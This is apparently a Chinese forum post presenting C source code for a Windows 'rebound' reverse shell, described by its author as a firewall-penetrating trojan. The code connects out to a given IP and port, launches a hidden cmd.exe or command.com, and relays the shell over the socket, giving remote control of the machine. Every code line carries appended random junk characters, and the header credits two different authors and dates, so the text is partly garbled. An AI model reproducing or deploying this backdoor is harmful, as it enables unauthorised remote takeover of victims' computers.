这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 pmD4j8F_
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/* ============================== ?w-1:NWjt
Rebound port in Windows NT RctU' T
By wind,2006/7 |,b2b2v?
===============================*/ zj<ahg%z
#include \V,c]I
#include l^\(ss0~
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:sd
#pragma comment(lib,"wsock32.lib") bmu6@jT
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void OutputShell(); Y9F)`17
SOCKET sClient; e}c&LDgU
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `ncNEHh7K
\)OEBN`9#
void main(int argc,char **argv) !xu9+{-
{ jpRBER_X
WSADATA stWsaData; *i^`Dw^~y
int nRet; `OqM8U
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SOCKADDR_IN stSaiClient,stSaiServer; ;j{7!GeKa
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if(argc != 3) MaO"#{i
{ gH[,Xx?BN!
printf("Useage:\n\rRebound DestIP DestPort\n"); &)n_]R#)
return; \R(R9cry
} Y;Ap9i*
#)o7"PW:
WSAStartup(MAKEWORD(2,2),&stWsaData); g+xw$A ou
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8'A72*dhX
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stSaiClient.sin_family = AF_INET; ef=K_,
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stSaiClient.sin_port = htons(0); <:&de8bT
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >{C\H.N
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `0{ S3v
{ 5,1{Tv`
printf("Bind Socket Failed!\n"); WK0C
return; t V03+&jF
} qTT,U9]:
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stSaiServer.sin_family = AF_INET; WF2NG;f=
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rAb&I"\ZY
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >O#grDXb
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2?W7I/F
{ .Pe9_ZH$W
printf("Connect Error!"); ZtK\HDdp
return; PY`L$e
} \ECu5L4
OutputShell(); KVkMU?6
} (&[[46
+ H_MV=A^
void OutputShell() )55\4<ty
{ d--'Rn5
char szBuff[1024]; pu+ur=5&
SECURITY_ATTRIBUTES stSecurityAttributes; JN4fPGbV
OSVERSIONINFO stOsversionInfo; {^}0 G^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; paW@\1Q
STARTUPINFO stStartupInfo; :=Kx/E:1
char *szShell; n((vY.NDV
PROCESS_INFORMATION stProcessInformation; KL [ek
unsigned long lBytesRead; 5|I55CTx
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .&1C:>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C3XmK}h
stSecurityAttributes.lpSecurityDescriptor = 0; &H||&Z[pk
stSecurityAttributes.bInheritHandle = TRUE; M6rc!K
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }tG3tz0%fX
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2&Jdf
}7s>B24J
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hePPxKQ-
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OtTBErQNF
stStartupInfo.wShowWindow = SW_HIDE; jZpa0g rA
stStartupInfo.hStdInput = hReadPipe; 9zBMlc$X
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1[;;sSp
usFfMF X
GetVersionEx(&stOsversionInfo); F%d\~Vj
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switch(stOsversionInfo.dwPlatformId) 80pid[F
{ C3'rtY.
case 1: R@iUCT^$
szShell = "command.com"; +GF#?X0^
break; 'zZcn" +!
default: $w#r"= )
szShell = "cmd.exe"; mee$"Y
break; l|/LQ/
} -nbMTY}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4)6xU4eBaL
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send(sClient,szMsg,77,0); ,=QM#l]
while(1) b'YE9E
{ 8RW&r
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V\]" }V)"
if(lBytesRead) p(F " /
{ /)
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IA&L]
send(sClient,szBuff,lBytesRead,0); @n&<B`/
} tK(g-u0N`(
else S4^N^lQ]
{ D${={x
lBytesRead=recv(sClient,szBuff,1024,0); }8-\A7T
if(lBytesRead<=0) break; ZR0r>@M3v<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); nH|,T%
} -r7]S
} bzN-*3YE=
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return; +rXF{@
l
}